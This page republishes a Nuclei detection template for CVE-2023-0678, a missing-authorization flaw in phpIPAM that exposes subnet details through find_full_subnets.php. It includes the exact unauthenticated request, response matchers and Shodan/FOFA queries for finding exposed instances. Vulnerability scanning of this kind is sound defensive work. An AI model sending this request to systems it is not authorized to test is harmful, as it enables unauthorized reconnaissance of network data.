CVE-2023-0678: PHPIPAM <v1.5.1 - Missing Authorization

2025-08-01 PHPIPAM PoC Public

Description

In phpIPAM 1.5.1, an unauthenticated user could download the list of high-usage IP subnets that contains sensitive information such as a subnet description, IP ranges, and usage rates via find_full_subnets.php endpoint. The bug lies in the fact that find_full_subnets.php does not verify if the user is authorized to access the data, and if the script was started from a command line.

PoC

id: CVE-2023-0678

info:
  name: PHPIPAM <v1.5.1 - Missing Authorization
  author: princechaddha,ritikchaddha
  severity: medium
  description: |
    In phpIPAM 1.5.1, an unauthenticated user could download the list of high-usage IP subnets that contains sensitive information such as a subnet description, IP ranges, and usage rates via find_full_subnets.php endpoint. The bug lies in the fact that find_full_subnets.php does not verify if the user is authorized to access the data, and if the script was started from a command line.
  impact: |
    Unauthenticated attackers can access sensitive network information including IP subnet descriptions, ranges, and usage rates through the find_full_subnets.php endpoint without authorization.
  remediation: |
    Update phpIPAM to version 1.5.1 or later that implements proper authorization checks in find_full_subnets.php before returning subnet information.
  reference:
    - https://github.com/phpipam/phpipam/commit/1960bd24e8a55796da066237cf11272c44bb1cc4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-0678
    cwe-id: CWE-862
    epss-score: 0.37304
    epss-percentile: 0.98446
    cpe: cpe:2.3:a:phpipam:phpipam:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpipam
    product: phpipam
    shodan-query:
      - "html:\"phpIPAM IP address management\""
      - http.html:"phpipam ip address management"
    fofa-query: "body=\"phpipam ip address management\""
  tags: cve,cve2023,php,phpipam,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/functions/scripts/find_full_subnets.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Array", "[subnet]", "[description]")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100a36a70883920b6029f6684aa9412443d5c2355c793ce300b54693458a397178602202a35ba98d0d22235e7ea42c493df79a6271f26fb9838e13e09050f9ccd1acc08:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0678.yaml

References

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